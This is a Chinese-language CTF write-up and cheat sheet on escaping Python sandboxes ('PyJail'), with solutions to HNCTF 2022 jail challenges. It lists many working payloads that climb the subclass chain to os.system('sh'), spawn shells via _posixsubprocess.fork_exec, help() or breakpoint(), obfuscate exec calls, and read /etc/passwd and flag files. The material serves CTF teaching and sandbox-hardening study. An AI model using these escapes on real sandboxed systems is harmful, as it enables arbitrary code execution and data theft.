PyJail
# PyJail
# Python 的一些特性
# object 类的继承
Python3.x
版本中,类默认会继承 object
但在 Python2.x
中,默认不会继承
1 | # python2 |
运行结果:
1 | Person ['__doc__', '__module__', 'name'] |
# python 中类本身具有一些静态方法
如 bytes.fromhex
、 int.from_bytes
等。对于这些类的实例,也能调用这些静态方法。如 b'1'.fromhex('1234')
,返回 b'\x124'
。(一个特殊的例子是整数常量不支持这样操作,如输入 3.from_bytes
会报错)
# Python 魔术方法
-
__init__
:构造函数。这个在实例化类的时候就会用到,一般是接受类初始化的参数,并且进行一系列初始化操作。 -
__len__
:返回对象的长度。对一个对象a
使用len(a)
时,会尝试调用a.__len__()
。例如要通过继承torch.utils.data.Dataset
来实现自己的数据集时,就需要实现这个方法; -
__str__
:返回对象的字符串表示。对一个对象a
使用str(a)
时,会尝试调用a.__str__()
。这在我们自己实现一些类,譬如复数、二叉树、有限域、椭圆曲线等时,通过实现该方法,能将对象的内容较好地打印出来。(print
函数中也会自动调用对象的__str__
方法)相似地,还有__int__
魔术方法也用于类型转换,不过较少使用; -
__getitem__
:根据索引返回对象的某个元素。对一个对象a
使用a[1]
时,会尝试调用a.__getitem__(1)
。同样,当我们通过继承torch.utils.data.Dataset
来实现自己的数据集时,就需要实现这个方法。有__getitem__
,自然也有对应的__setitem__
; -
__add__
、__sub__
、__mul__
、__div__
、__mod__
:算术运算,加减乘除模。如对一个对象a
使用a+b
时,会尝试调用a.__add__(b)
。相应地,对于有些运算,对象需放在后面(第二个操作数)的,则需实现__radd__
、__rsub__
、__rmul__
、__rdiv__
、__rmod__
,如椭圆曲线上的点的倍点运算G -> d * G
,就可以通过实现__rmul__
来实现。 -
__and__
,__or__
、__xor__
:逻辑运算,和算术运算类似; -
__eq__
,__ne__
、__lt__
、__gt__
、__le__
、__ge__
:比较运算,和算术运算类似;例如'贵州' > '广西'
,就会转而调用'贵州'.__gt__('广西')
;按顺序分别是==
,!=
,<
,>
,<=
,>=
-
__getattr__
:访问一个不存在的属性时触发。如果我们对对象a
所对应的类实现了该方法,那么在调用未实现的a.b
时,就会转而调用a.__getattr__(b)
。这也等价于用函数的方法调用:getattr(a, 'b')
。有__getattr__
,自然也有对应的__setattr__
; -
__setattr__
:在对一个属性设置值的时候,会调用到这个函数 -
__subclasses__
:返回当前类的所有子类。一般是用在object
类中,在object.__subclasses__()
中,我们可以找到os
模块中的类,然后再找到os
,并且执行os.system
,实现 RCE。 -
相对应地,python 的类中也包含着一些魔术属性:
__dict__
:可以查看内部所有属性名和属性值组成的字典。譬如下面这段代码:
1 | class KFCCrazyThursday: |
就能看到字典中包含 'vivo': 50
的键值对。注意在 python 中, dict()
是将类转成字典的函数,跟此魔术属性无关。
-
__doc__
:类的帮助文档。默认类均有帮助文档。对于自定义的类,需要我们自己实现。1
2
3
4
5
6
7class KFCCrazyThursday:
'''
And you broke up for seven years, you still can affect my mood, I still keep our photo, remember your birthday, OK? I have countless times to find your impulse, But still hold back, this message I do not block you, because I am your forever blacklist, but I love you, from the past to the present, a full love of you for eight years, But now I'm not sad, because I have no idea who wrote this or who this girl is, and I just want to tell you by the way: Today is Crazy Thursday, I want to eat KFC
'''
vivo = 50
print(KFCCrazyThursday.__doc__)就会打印上面的文档;
__class__
:返回当前对象所属的类。如''.__class__
会返回<class 'str'>
。拿到类之后,就可以通过构造函数生成新的对象,如''.__class__(4396)
,就等价于str(4396)
,即'4396'
;__base__
:返回当前类的基类。如str.__base__
会返回<class 'object'>
;
# 一些重要的内置函数和变量:
dir
:查看对象的所有属性和方法。在我们没有思路的时候,可以通过该函数查看所有可以利用的方法;此外,在题目禁用引号以及小数点时,也可以先用拿到类所有可用方法,再索引到方法名,并且通过getattr
来拿到目标方法。chr
、ord
:字符与 ASCII 码转换函数,能帮我们绕过一些 WAFglobals
:返回所有全局变量的函数;locals
:返回所有局部变量的函数;__import__
:载入模块的函数。例如import os
等价于os = __import__('os')
;__name__
:该变量指示当前运行环境位于哪个模块中。如我们 python 一般写的if __name__ == '__main__':
,就是来判断是否是直接运行该脚本。如果是从另外的地方 import 的该脚本的话,那__name__
就不为__main__
,就不会执行之后的代码。更多参考这里 ;__builtins__
:包含当前运行环境中默认的所有函数与类。如上面所介绍的所有默认函数,如str
、chr
、ord
、dict
、dir
等。在 pyjail 的沙箱中,往往__builtins__
被置为None
,因此我们不能利用上述的函数。所以一种思路就是我们可以先通过类的基类和子类拿到__builtins__
,再__import__('os').system('sh')
进行 RCE;__file__
:该变量指示当前运行代码所在路径。如open(__file__).read()
就是读取当前运行的 python 文件代码。需要注意的是,该变量仅在运行代码文件时会产生,在运行交互式终端时不会有此变量;_
:该变量返回上一次运行的 python 语句结果。需要注意的是,该变量仅在运行交互式终端时会产生,在运行代码文件时不会有此变量。
# HNCTF 2022 Jail
# calc_jail_beginner
源码
注释写着答案
# calc_jail_beginner_level1
经过试错可以发现时 flag
字符被过滤了,可以使用 chr()
绕过
# calc_jail_beginner_level2
长度限制 13 个字符
eval(input())
就不会限制长度了
# calc_jail_beginner_level2.5
试错之后发现 ban 了 eval,input,exec
可以使用 unicode 注入 𝓮val(inp𝓾t())
也可以用 breakpoint()
, 一个调试函数,执行后可以执行一些命令不被绕过
# calc_jail_beginner_level3
限制只有 7 个字符
1、输入:help (),这里字符串长度只有 6,会进入正常调用 eval 函数;
2、进入 help 交互式,然后输入任意一个模块名获得该模块的帮助文档,如 sys;
3、在 Linux 中,这里呈现帮助文档时,实际上是调用了系统里的 less 或 more 命令,可以利用这俩个命令执行本地命令的特性来获取一个 shell,继续按 #!,再执行外部命令 sh 即可。
# python2 input
这是一个 python2 的 jail
因为上面提到的在 python2 类中默认不继承 object 类,需要构造 import
# lake lake lake
1 | #it seems have a backdoor |
先走 1 通道拿到 key 然后到 2 验证
# l@ke l@ke l@ke
还是两步走,通道 1,长度不超过 6 来获取 key,通道 2 验证 key
对于通道 1,我们调用 help()
进入函数,输入 server
查看 key
# calc_jail_beginner_level4
将 '__loader__', '__import__', 'compile', 'eval', 'exec', 'chr'
等函数都 ban 掉了 后面又将单引号、双引号、反斜杠、反引号给 ban 了
尝试使用之前的 SSTI 注入 先查询 object 类下的子类 查看可以使用的模块
1 | ().__class__.__base__.__subclasses__() |
发现可以使用 os 模块
禁用了 chr,可以使用 byte []
payload:
1 | ().__class__.__base__.__subclasses__()[-4].__init__.__globals__[bytes([115,121,115,116,101,109]).decode()](bytes([115,104]).decode()) |
另外,同样是使用 bytes () 函数 猜测 flag 文件的位置和名字 可以直接对 open('flag').read()
进行转化 直接读取 flag
1 | open(bytes([102,108,97,103]).decode()).read() |
# calc_jail_beginner_level4.0.5
# calc_jail_beginner_level4.1
没有 hint 了,接下来就是脑洞的碰撞了
连接靶机
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and
,",’ `
bytes [] 被 ban 了,就需要用 type 了,二者的关系:
1 | system == [bytes([115,121,115,116,101,109]).decode()] |
利用下面 payload 可以执行 ls,同理可以 cat flag
1 | [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()]((type(str(1).encode())([108])+type(str(1).encode())([115])).decode()) |
也可以利用 Show subclasses with tuple 找到 bytes 类:结果为 bytes 类的索引为 6
可以构造 payload 拿到 sh
1 | ().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode()) |
也可以利用 __doc__
getshell
1 | ().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__doc__[19]+().__doc__[86]+().__doc__[19]+().__doc__[4]+().__doc__[17]+().__doc__[10]](().__doc__[19]+().__doc__[56]) |
# calc_jail_beginner_level4.2
1 | Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,byte and `,",',+ Good luck! |
加号被 ban 了,可以用 __add__
代替
跟 4.1 类似执行 system("flag_y0u_CaNt_FiNd_mE")
payload:
1 | [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115]).__add__(type(str(1).encode())([121])).__add__(type(str(1).encode())([115])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([101])).__add__(type(str(1).encode())([109]))).decode()]((type(str(1).encode())([99]).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([32])).__add__(type(str(1).encode())([102])).__add__(type(str(1).encode())([108])).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([103])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([121])).__add__(type(str(1).encode())([48])).__add__(type(str(1).encode())([117])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([67])).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([78])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([70])).__add__(type(str(1).encode())([105])).__add__(type(str(1).encode())([78])).__add__(type(str(1).encode())([100])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([109])).__add__(type(str(1).encode())([69]))).decode()) |
也可以继续用 4.1 的利用 bytes 索引的 payload
和利用 __doc__
的方法,但需要利用 join
的拼接方式
payload:
1 | ().__class__.__base__.__subclasses__()[-4].__init__.__globals__[str().join([().__doc__[19],().__doc__[86],().__doc__[19],().__doc__[4],().__doc__[17],().__doc__[10]])](str().join([().__doc__[19],().__doc__[56]])) |
# calc_jail_beginner_level4.3
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes,open,type and
,",’,+`
type 也被 ban 了,还可以利用 list(dict(system=114514))[0]
获取 system
这个字符串
因此直接执行 system(sh)
payload:
1 | [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[list(dict(system=1))[0]](list(dict(sh=1))[0]) |
并且,上面两道题的后两种方法还可以用
# calc_jail_beginner_level5.1
尝试之后发现 import
、 open
都被 ban 了
尝试 dir()
:
一路跟进
发现 encode,直接利用
# lake lake lake
hook 了很多函数
1 | def my_audit_hook(event, _): |
分析一下猜数字的函数
1 | def guesser(): |
可知我们需要猜出 right_guesser_question_answer
才可以获取 flag,同时还给 sys.stdout
、 sys.seterr
进行了重定向,调用 print 无法输出。
但是可以通过 __import__("sys").__stdout__.write()
去输入。
那么我们的思路就是,读文件,然后输出
用 os.open 打开文件,然后用 os.read 读文件,当然也可以用 __import__('io').open("flag").read()
payload:
1 | __import__("sys").__stdout__.write(__import__("os").read(__import__("os").open("flag",__import__("os").O_RDONLY), 0x114).decode()) |
# lak3 lak3 lak3
直接把 io、system 之类的函数全给 hook 掉了,还把上一题的 open 等更多的函数给 ban 了
也是猜数字,答案在 right_guesser_question_answer
,想办法获取该值
可以使用 __import__("sys").__stdout__.write
去进行标准输出,
1 | __import__("sys").__stdout__.write(str(__import__('sys')._getframe(1))) |
这里的 frame 对象指向了’/home/ctf/./server.py’这个 file,那么直接调用 f_locals 属性查看变量
1 | __import__("sys").__stdout__.write(str(__import__('sys')._getframe(1).f_locals)) |
最终 payload:
1 | int(str(__import__('sys')._getframe(1).f_locals["right_guesser_question_answer"])) |
# s@Fe safeeval
1 | Black List: |
对比下 pwnlib.util.safeeval 中的代码,可以看到 blacklist 中多了两个可以执行的 opcode
MAKE_FUNCTION
CALL_FUNCTION
很显然出题人想让我们执行函数调用 / 编写。
第一时间能想到的是 lambda,然后直接调用就行了,payload 为:
1 | (lambda:os.system('cat flag'))() |
# calc_jail_beginner_level6
1 | _ _ _ _ _ _ _ __ |
这题已经几乎把所有的 hook 给 ban 掉了。参考这个 writeup:https://ctftime.org/writeup/31883
也就是利用 _posixsubprocess.fork_exec
来实现 RCE。不过需要注意,不同的 python 版本的 _posixsubprocess.fork_exec
接受的参数个数可能不一样:例如本地 WSL 的 python 版本为 3.8.10,该函数接受 17 个参数;而远程 python 版本为 3.10.6,该函数和上面的 writeup 接受 21 个参数。
而且注意到,直接 import _posixsubprocess
的话,会触发 audit hook
:
可以通过如下方法绕过:
1 | __builtins__['__loader__'].load_module('_posixsubprocess') |
而且因为是多次 exec,所以我们可以输入多行代码:
1 | import os |
# calc_jail_beginner_level6.1
1 | _ _ _ _ _ _ _ __ |
和上面那题不同,在这里我们仅有一次代码执行机会。
不过不慌,我们之前提到了 python 3.8 引入的海象运算符,还是可以通过用海象运算符和 list
的方式弄出代码:
1 | [os := __import__('os'), _posixsubprocess := __loader__.load_module('_posixsubprocess'), _posixsubprocess.fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)] |
但是 payload 发送过去之后,能弹 shell,但是 shell 秒关,输入任何命令也不见回显。
可以看看假设我们暴力多次尝试起 shell,会发生什么:
1 | [os := __import__('os'), _posixsubprocess := __loader__.load_module('_posixsubprocess'), [_posixsubprocess.fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None) for i in range(100000)]] |
先将要执行的 shell 命令复制进剪贴板,然后在它疯狂回显的时候,疯狂粘贴回车,看看能不能执行。结果居然有一定概率会回显执行命令的结果!于是就在这种破烂 shell 下拿到了 flag……
不过还有更加优雅(?)的做法:利用 itertools
中的无限迭代器 来暴力起 shell。不过实测好像并达不到无限:猜测远程起进程的个数有限,到一定数目之后会炸:
1 | [os := __import__('os'), itertools := __loader__.load_module('itertools'), _posixsubprocess := __loader__.load_module('_posixsubprocess'), [_posixsubprocess.fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None) for i in itertools.count(0)]] |
# calc_jail_beginner_level7
1 | G |
虽然没有了 import 和 call,但有一个魔术方法 metaclass 。可以通过 metaclass 给类添加属性。
猜测一下,既然能添加类的属性,那是否可以修改呢?也就是说如果我们将一个类的某一个属性修改为 os.system
这样的函数,那么这样一来在我们调用的时候就可以执行了。现在的问题是需要一个可以传入字符串的属性,发现正好 __getitem__
符合条件。
__getitem__
是用来取列表或者字典的值的一个属性,如果我们将一个类的 __getitem__
改为 os.system
的话是不是就可以执行 shell 了哈哈
举个例子:
1 | import os |
运行后发现执行了 ls 但这样依然无法解决这个题,如果我们将上述代码转为 AST 查看,会发现有 Call 和 Expr
1 | import ast |
对于如何避开 Expr
,我们给执行的内容赋值就行。
1 | tmp = WOOD()['ls'] |
如何绕过 Call
?可以用 metaclass
,我们指定一个类的 __getitem__==os.system
,使用 mateclass 可以让类拥有属性,但不是类生成的对象具有这个属性,这样我们就不用调用实例化类的 Call,从而进行绕过 Call。
因此最终 payload 为:
1 | class WOOD(type): |
# RCE
# 绕过删除模块或方法
del
会删除模块或方法,比如下面删除了 builitins
模块的 eval
方法
1 | 'eval'] __builtins__.__dict__[ |
# reload 重加载
reload 可以重新加载被删除的模块
1 | 'eval'] __builtins__.__dict__[ |
在 Python 3 中, reload()
函数被移动到 importlib
模块中,所以如果要使用 reload()
函数,需要先导入 importlib
模块。
# 恢复 sys.modules
一些过滤中可能将 sys.modules['os']
进行修改。这个时候即使将 os 模块导入进来,也是无法使用的.
1 | 'os'] = 'not allowed' sys.modules[ |
由于很多别的命令执行库也使用到了 os, 因此也会受到相应的影响,例如 subprocess
1 | __import__('subprocess').Popen('whoami', shell=True) |
由于 import 导入模块时会检查 sys.modules 中是否已经有这个类,如果有则不加载,没有则加载。因此我们只需要将 os 模块删除,然后再次导入即可.
1 | sys.modules['os'] = 'not allowed' |
# 基于继承链获取
在清空了 __builtins__
的情况下,我们也可以通过索引 subclasses 来找到这些内建函数。
1 | # 根据环境找到 bytes 的索引,此处为 5 |
在上面 calc_jail_beginner_level4.1
题目中运用到了这个方式
# 绕过基于字符串匹配的过滤
# 字符串转换
# 字符串拼接
在我们的 payload 中,例如如下的 payload, __builtins__
file
这些字符串如果被过滤了,就可以使用字符串变换的方式进行绕过。
1 | ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('E:/passwd').read() |
局限性:如果过滤的是 __class__
或者 __mro__
这样的属性名,就无法采用变形来绕过了。
# base64 变形
1 | import base64 |
# 逆序
1 | eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1]) |
注意 exec 与 eval 在执行上有所差异。
eval
函数用于计算传递给它的 Python 表达式,并返回结果。它通常用于执行单一表达式,并将其结果赋值给变量。
exec
函数用于执行包含 Python 代码块的字符串。它通常用于执行多行代码,而不返回任何结果。
# 进制转换
八进制:
1 | exec("print('RCE'); __import__('os').system('ls')") |
exp:
1 | s = "eval(list(dict(v_a_r_s=True))[len([])][::len(list(dict(aa=()))[len([])])])(__import__(list(dict(b_i_n_a_s_c_i_i=1))[False][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b___b_a_s_e_6_4=1))[False][::len(list(dict(aa=()))[len([])])]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=True))[False])" |
十六进制:
1 | exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29") |
exp:
1 | s = "eval(eval(list(dict(v_a_r_s=True))[len([])][::len(list(dict(aa=()))[len([])])])(__import__(list(dict(b_i_n_a_s_c_i_i=1))[False][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b___b_a_s_e_6_4=1))[False][::len(list(dict(aa=()))[len([])])]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=True))[False]))" |
# 其他编码
hex、rot13、base32 等。
# 过滤了属性名或者函数名
在 payload 的构造中,我们大量的使用了各种类中的属性,例如 __class__
、 __import__
等。
# getattr 函数
getattr 是 python 的内置函数,用于获取对象的属性或方法,其语法如下:
1 | getattr(object,name[,default]) |
这里,object 是对象,name 是字符串,代表要获取的属性的名称。如果提供了 default 参数,当属性不存在时会返回这个值,否则会抛出 AttributeError。
1 | getattr({},'__class__') |
这样一来,就可以将 payload 中的属性名转化为字符串,字符串的变换方式多种多样,更易于绕过黑名单。
# __getattribute__
函数
__getattribute__
于,它定义了当我们尝试获取一个对象的属性时应该进行的操作。
它的基本语法如下:
1 | class MyClass: |
getattr 函数在调用时,实际上就是调用这个类的 __getattribute__
方法。
1 | os.__getattribute__ |
# __getattr__
函数
__getattr__
是 Python 的一个特殊方法,当尝试访问一个对象的不存在的属性时,它就会被调用。它允许一个对象动态地返回一个属性值,或者抛出一个 AttributeError
异常。
如下是 __getattr__
方法的基本形式:
1 | class MyClass: |
在这个例子中,任何你尝试访问的不存在的属性都会返回一个字符串,形如 “You tried to get X”,其中 X 是你尝试访问的属性名。
与 __getattribute__
不同, __getattr__
只有在属性查找失败时才会被调用,这使得 __getattribute__
可以用来更为全面地控制属性访问。
如果在一个类中同时定义了 __getattr__
和 __getattribute__
,那么无论属性是否存在, __getattribute__
都会被首先调用。只有当 __getattribute__
抛出 AttributeError
异常时, __getattr__
才会被调用。
另外,所有的类都会有 __getattribute__
属性,而不一定有 __getattr__
属性。
# __globals__
替换
__globals__
可以用 func_globals 直接替换;
1 | ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__ |
# __mro__
、 __bases__
、 __base__
互换
三者之间可以相互替换
1 | ''.__class__.__mro__[2] |
# 过滤 import
python 中除了可以使用 import 来导入,还可以使用 __import__
和 importlib.import_module
来导入模块
# __import__
1 | __import__('os') |
# importlib.import_module
不过 importlib 也需要导入,所以有些鸡肋.
1 | import importlib |
注意:importlib 需要进行导入之后才能够使用
# __loader__.load_module
如果使用 audithook 的方式进行过滤,上面的两种方法就无法使用了,但是 __loader__.load_module
底层实现与 import 不同,因此某些情况下可以绕过.
1 | 'os') __loader__.load_module( |
# 过滤了 []
如果中括号被过滤了,则可以使用如下的两种方式来绕过:
- 调用
__getitem__()
函数直接替换;#[x]
<=>__getitem__(x)
- 调用 pop () 函数(用于移除列表中的一个元素,默认最后一个元素,并且返回该元素的值)替换;
1 | ''.__class__.__mro__[-1].__subclasses__()[200].__init__.__globals__['__builtins__']['__import__']('os').system('ls') |
# 过滤了 ‘’
# str 函数
如果过滤了引号,我们 payload 中构造的字符串会受到影响。其中一种方法是使用 str () 函数获取字符串,然后索引到预期的字符。将所有的字符连接起来就可以得到最终的字符串。
1 | ().__class__.__new__ |
# chr 函数
也可以使用 chr 加数字来构造字符串
1 | chr(56) |
# list + dict
使用 dict 和 list 进行配合可以将变量名转化为字符串,但这种方式的弊端在于字符串中不能有空格等。
1 | list(dict(whoami=1))[0] # 返回whoami |
# __doc__
__doc__
变量可以获取到类的说明信息,从其中索引出想要的字符然后进行拼接就可以得到字符串:
1 | ().__doc__.find('s') |
# bytes 函数
bytes 函数可以接收一个 ascii 列表,然后转换为二进制字符串,再调用 decode 则可以得到字符串
1 | bytes([115, 121, 115, 116, 101, 109]).decode() |
# 过滤了 +
过滤了 + 号主要影响到了构造字符串,假如题目过滤了引号和加号,构造字符串还可以使用 join 函数,初始的字符串可以通过 str () 进行获取。具体的字符串内容可以从 __doc__
中取,
1 | str().join(().__doc__[19],().__doc__[23]) |
# 过滤了数字
如果过滤了数字的话,可以使用一些函数的返回值获取。例如:
0: int(bool([]))
、 Flase
、 len([])
、 any(())
1: int(bool([""]))
、 True
、 all(())
、 int(list(list(dict(a၁=())).pop()).pop())
有了 0 之后,其他的数字可以通过运算进行获取:
1 | 0 ** 0 == 1 |
当然,也可以直接通过 repr 获取一些比较长字符串,然后使用 len 获取大整数。
1 | len(repr(True)) |
第三种方法,可以使用 len + dict + list 来构造,这种方式可以避免运算符的的出现
1 | 0 -> len([]) |
第四种方法: unicode
# 过滤了空格
通过 (),[] 代替
# 过滤了运算符
== 可以用 in 代替
or 可以用 | + -。。。- 来替换
例如
1 | for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]: |
and 可以用 & * 替代
例如
1 | for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]: |
# 过滤了 ()
- 利用装饰器 @
- 利用魔术方法,例如
enum.EnumMeta.__getitem__
# f 字符串执行
f 字符串算不上一个绕过,更像是一种新的攻击面,通常情况下用来获取敏感上下文信息,例如过去环境变量
1 | {whoami.__class__.__dict__} |
也可以直接 RCE
1 | f'{__import__("os").system("whoami")}' |
# 过滤了内建函数
# eval + list + dict 构造
假如我们在构造 payload 时需要使用 str 函数、bool 函数、bytes 函数等,则可以使用 eval 进行绕过。
1 | eval('str') |
这样就可以将函数名转化为字符串的形式,进而可以利用字符串的变换来进行绕过。
1 | eval(list(dict(s_t_r=1))[0][::2]) |
这样一来,只要 list 和 dict 没有被禁,就可以获取到任意的内建函数。如果某个模块已经被导入了,则也可以获取这个模块中的函数。
# 过滤了。和 ,如何获取函数
通常情况下,我们会通过点号来进行调用 __import__('binascii').a2b_base64
或者通过 getattr 函数: getattr(__import__('binascii'),'a2b_base64')
如果将,号和。都过滤了,则可以有如下的几种方式获取函数:
-
内建函数可以使用
eval(list(dict(s_t_r=1))[0][::2])
这样的方式获取。 -
模块内的函数可以先使用
__import__
导入函数,然后使用 vars () j 进行获取:1
2vars(__import__('binascii'))['a2b_base64']
<built-in function a2b_base64>
# unicode 绕过
Python 3 开始支持非 ASCII 字符的标识符,也就是说,可以使用 Unicode 字符作为 Python 的变量名,函数名等。Python 在解析代码时,使用的 Unicode Normalization Form KC (NFKC) 规范化算法,这种算法可以将一些视觉上相似的 Unicode 字符统一为一个标准形式。
相似 unicode 寻找网站:http://shapecatcher.com/
可以通过绘制的方式寻找相似字符
下划线可以使用对应的全角字符进行替换:
1 | _ |
使用时注意第一个字符不能为全角,否则会报错:
1 | print(__name__) |
需要注意的是,某些 unicode 在遇到 lower () 函数时也会发生变换,因此碰到 lower ()、upper () 这样的函数时要格外注意。
# 绕过命名空间限制
# 部分限制
有些沙箱在构建时使用 exec 来执行命令,exec 函数的第二个参数可以指定命名空间,通过修改、删除命名空间中的函数则可以构建一个沙箱。例子来源于 iscc_2016_pycalc。
1 | def _hook_import_(name, *args, **kwargs): |
- 沙箱首先获取
__builtins__
,然后依据现有的__builtins__
来构建命名空间。 - 修改
__import__
函数为自定义的_hook_import_
- 删除 open 函数防止文件操作
- exec 命令。
绕过方式:
由于 exec 运行在特定的命名空间里,可以通过获取其他命名空间里的 __builtins__
(这个 __builtins__
保存的就是原始 __builtins__
的引用),比如 types 库,来执行任意命令:
1 | __import__('types').__builtins__ |
# 完全限制 (no builtins)
如果沙箱完全清空了 __builtins__
, 则无法使用 import, 如下:
1 | eval("__import__", {"__builtins__": {}},{"__builtins__": {}}) |
这种情况下我们就需要利用 python 继承链来绕过,其步骤简单来说,就是通过 python 继承链获取内置类,然后通过这些内置类获取到敏感方法例如 os.system 然后再进行利用。
具体原理可见:Python 沙箱逃逸小结
常见的一些 payload 如下:
# RCE
1 | # os |
# File
操作文件可以使用 builtins 中的 open,也可以使用 FileLoader 模块的 get_data 方法。
1 | [ x for x in ''.__class__.__base__.__subclasses__() if x.__name__=="FileLoader" ][0].get_data(0,"/etc/passwd") |
# 绕过长度限制
BYUCTF_2023 中的几道 jail 题对 payload 的长度作了限制
1 | eval((__import__("re").sub(r'[a-z0-9]','',input("code > ").lower()))[:130]) |
题目限制不能出现数字字母,构造的目标是调用 open 函数进行读取
1 | print(open(bytes([102,108,97,103,46,116,120,116])).read()) |
函数名比较好绕过,直接使用 unicode。数字也可以使用 ord 来获取然后进行相减。我这里选择的是 chr (333).
1 | # f = 102 = 333-231 = ord('ō')-ord('ç') |
但这样的话其实长度超出了限制。而题目的 eval 表示不支持分号;,这种情况下,我们可以添加一个 exec。然后将 ord 以及不变的 a('ō')
进行替换。这样就可以构造一个满足条件的 payload
1 | exec("a=ord;b=a('ō');print(open(bytes([b-a('ç'),b-a('á'),b-a('ì'),b-a('æ'),b-a('ğ'),b-a('Ù'),b-a('Õ'),b-a('Ù')])).read())") |
但其实尝试之后发现这个 payload 会报错,原因在于其中的某些 unicode 字符遇到 lower () 时会发生变化,避免 lower 产生干扰,可以在选取 unicode 时选择 ord 值更大的字符。例如 chr (4434)
当然,可以直接使用 input 函数来绕过长度限制。
# 打开 input 输入
如果沙箱内执行的内容是通过 input 进行传入的话(不是 web 传参),我们其实可以传入一个 input 打开一个新的输入流,然后再输入最终的 payload,这样就可以绕过所有的防护。
以 BYUCTF2023 jail a-z0-9 为例:
1 | eval((__import__("re").sub(r'[a-z0-9]','',input("code > ").lower()))[:130]) |
即使限制了字母数字以及长度,我们可以直接传入下面的 payload(注意是 unicode)
()
这段 payload 打开 input 输入后,我们再输入最终的 payload 就可以正常执行。
1 | __import__('os').system('whoami') |
打开输入流需要依赖 input 函数,no builtins 的环境中或者题目需要以 http 请求的方式进行输入时,这种方法就无法使用了。
下面是一些打开输入流的方式:
# sys.stdin.read()
注意输入完毕之后按 ctrl+d 结束输入
1 | eval(sys.stdin.read()) |
# sys.stdin.readline()
1 | eval(sys.stdin.readline()) |
# sys.stdin.readlines()
1 | eval(sys.stdin.readlines()[0]) |
在 python2 中,在 python 2 中,input 函数从标准输入接收输入之后会自动 eval 求值。因此无需在前面加上 eval。但 raw_input 不会自动 eval。
# breakpoint 函数
pdb 模块定义了一个交互式源代码调试器,用于 Python 程序。它支持在源码行间设置(有条件的)断点和单步执行,检视堆栈帧,列出源码列表,以及在任何堆栈帧的上下文中运行任意 Python 代码。它还支持事后调试,可以在程序控制下调用。
在输入 breakpoint () 后可以代开 Pdb 代码调试器,在其中就可以执行任意 python 代码
# help 函数
help 函数可以打开帮助文档。索引到 os 模块之后可以打开 sh
当我们输入 help 时,注意要进行 unicode 编码,help 函数会打开帮助
然后输入 os, 此时会进入 os 的帮助文档。
1 | help> os |
然后在输入 !sh
就可以拿到 /bin/sh, 输入 !bash
则可以拿到 /bin/bash
1 | help> os |
# 绕过多行限制
绕过多行限制的利用手法通常在限制了单行代码的情况下使用,例如 eval, 中间如果存在;或者换行会报错。
1 | eval("__import__('os');print(1)") |
# exec
exec 可以支持换行符与 ;
1 | eval("exec('__import__(\"os\")\\nprint(1)')") |
# compile
compile 在 single 模式下也同样可以使用 \n 进行换行,在 exec 模式下可以直接执行多行代码.
1 | eval('''eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec'))''') |
# 海象表达式
海象表达式是 Python 3.8 引入的一种新的语法特性,用于在表达式中同时进行赋值和比较操作。
海象表达式的语法形式如下:
1 | <expression> := <value> if <condition> else <value> |
借助海象表达式,我们可以通过列表来替代多行代码:
1 | eval('[a:=__import__("os"),b:=a.system("id")]') |
# 变量覆盖与函数篡改
在 Python 中,sys 模块提供了许多与 Python 解释器和其环境交互的功能,包括对全局变量和函数的操作。在沙箱中获取 sys 模块就可以达到变量覆盖与函数擦篡改的目的.
sys.modules 存放了现有模块的引用,通过访问 sys.modules['__main__']
就可以访问当当前模块定义的所有函数以及全局变量
1 | 'bbb' aaa = |
除了通过 sys 模块来获取当前模块的变量以及函数外,还可以通过 __builtins__
篡改内置函数等,这只是一个思路.
总体来说,只要获取了某个函数或者变量就可以篡改,难点就在于获取.
# 利用 gc 获取已删除模块
这个思路来源于 writeup by fab1ano – github
这道题的目标是覆盖 __main__
中的 __exit
函数,但是题目将 sys.modules['__main__']
删除了,无法直接获取.
1 | for module in set(sys.modules.keys()): |
gc
